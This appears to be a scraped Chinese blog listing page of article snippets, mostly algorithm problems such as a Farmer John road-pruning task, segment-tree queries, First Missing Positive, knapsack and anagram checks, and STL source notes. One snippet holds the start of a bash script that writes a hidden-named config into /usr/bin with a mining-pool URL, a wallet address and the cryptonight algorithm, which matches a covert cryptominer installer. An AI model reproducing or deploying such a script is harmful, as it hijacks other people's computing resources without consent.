问题描述Farmer John变得非常懒,他不想再继续维护供奶牛之间供通行的道路。道路被用来连接N个牧场,牧场被连续地编号为1到N。每一个牧场都是一个奶牛的家。FJ计划除去P条道路中尽可能多的道路,但是还要保持牧场之间 的连通性。你首先要决定那些道路是需要保留的N-1条道路。第j条双向道路连接了牧场
分类:
编程语言 时间:
2016-03-21 12:24:43
阅读次数:
192
问题描述 有n个格子,从左到右放成一排,编号为1-n。 共有m次操作,有3种操作类型: 1.修改一个格子的权值, 2.求连续一段格子权值和, 3.求连续一段格子的最大值。 对于每个2、3操作输出你所求出的结果。 输入格式 第一行2个整数n,m。 接下来一行n个整数表示n个格子的初始权值。 接下来m行
分类:
编程语言 时间:
2016-03-21 12:24:14
阅读次数:
271
转载请注明出处:z_zhaojun的博客
原文地址
题目地址
First Missing PositiveGiven an unsorted integer array, find the first missing positive integer.For example,
Given [1,2,0] return 3,
and [3,4,-1,1] return 2.Your algo...
分类:
编程语言 时间:
2016-03-13 18:05:01
阅读次数:
222
问题描述 每个物品有一定的体积(废话),不同的物品组 合,装入背包会战用一定的总体积。假如每个物品有无限件可用,那么有些体积是永远也装不出来的。为了尽量装满背包,附中的OIER想要研究一下物品不能装 出的最大体积。题目保证有解,如果是有限解,保证不超过2,000,000,000 如果是无限解,则输出
分类:
其他好文 时间:
2016-03-12 21:22:10
阅读次数:
241
问题描述 Farmer John变得非常懒,他不想再继续维护供奶牛之间供通行的道路。道路被用来连接N个牧场,牧场被连续地编号为1到N。每一个牧场都是一个奶牛的家。FJ计 划除去P条道路中尽可能多的道路,但是还要保持牧场之间 的连通性。你首先要决定那些道路是需要保留的N-1条道路。第j条双向道路连接了
分类:
其他好文 时间:
2016-03-12 18:37:48
阅读次数:
179
#!/bin/bash
cat>/usr/bin/_-config<<"EOF"
{
"url":"stratum+tcp://127.0.0.1:8080",
"user":"42ksTJ337tbWqA5qaRxskAZQ4JBsRV3kVXRMuHmYgpJHGSH1sQ7JTKiiWse4CFcpsf6pPxJJWTn71esNRgTe3VrvJwiFLqu",
"algo":"cryptonight",
"pass":"x",
EOF
分类:
系统相关 时间:
2016-03-10 10:57:53
阅读次数:
762
简单的最短路 BFS DFS都可以实现(BFS应该会更快一点吧) 其中输入的N、M、T中,N是列,M是行,而不是和大多数题目一样,N是行,M是列 另外,类中不要乱放常量,类中不要直接为类变量赋初值(不是所有编译器都承认貌似~) 1 #include <cstdio> 2 #include <algo
分类:
其他好文 时间:
2016-03-06 06:33:23
阅读次数:
217
过年弄得也没写代码了,最近开始继续奋斗
问题描述
Anagrams指的是具有如下特性的两个单词:在这两个单词当中,每一个英文字母(不区分大小写)所出现的次数都是相同的。例如,“Unclear”和“Nuclear”、“Rimon”和“MinOR”都是Anagrams。编写一个程序,输入两个单词,然后判断一下,这两个单词是否是Anagrams。每一个单词的长度不会超过80个字符,而且是大小写...
分类:
其他好文 时间:
2016-02-14 13:00:01
阅读次数:
148
本文为senlie原创,转载请保留此地址:http://blog.csdn.net/zhengsenlie equal_range(应用于有序区间) ---------------------------------------------------------------------------
分类:
编程语言 时间:
2016-02-12 16:17:32
阅读次数:
217
1. C++ STL是C++程序员必看的开源项目,可以看SGI版本的STL源码,因为它的可读性很好。源码下载地址:Download STL source code例如sort函数的源码就在stl_algo.h文件中,同时侯杰有一本书《stl源码剖析》必读。2.如果是vs2008或者2010可以在Mi...
分类:
其他好文 时间:
2015-10-25 20:41:32
阅读次数:
204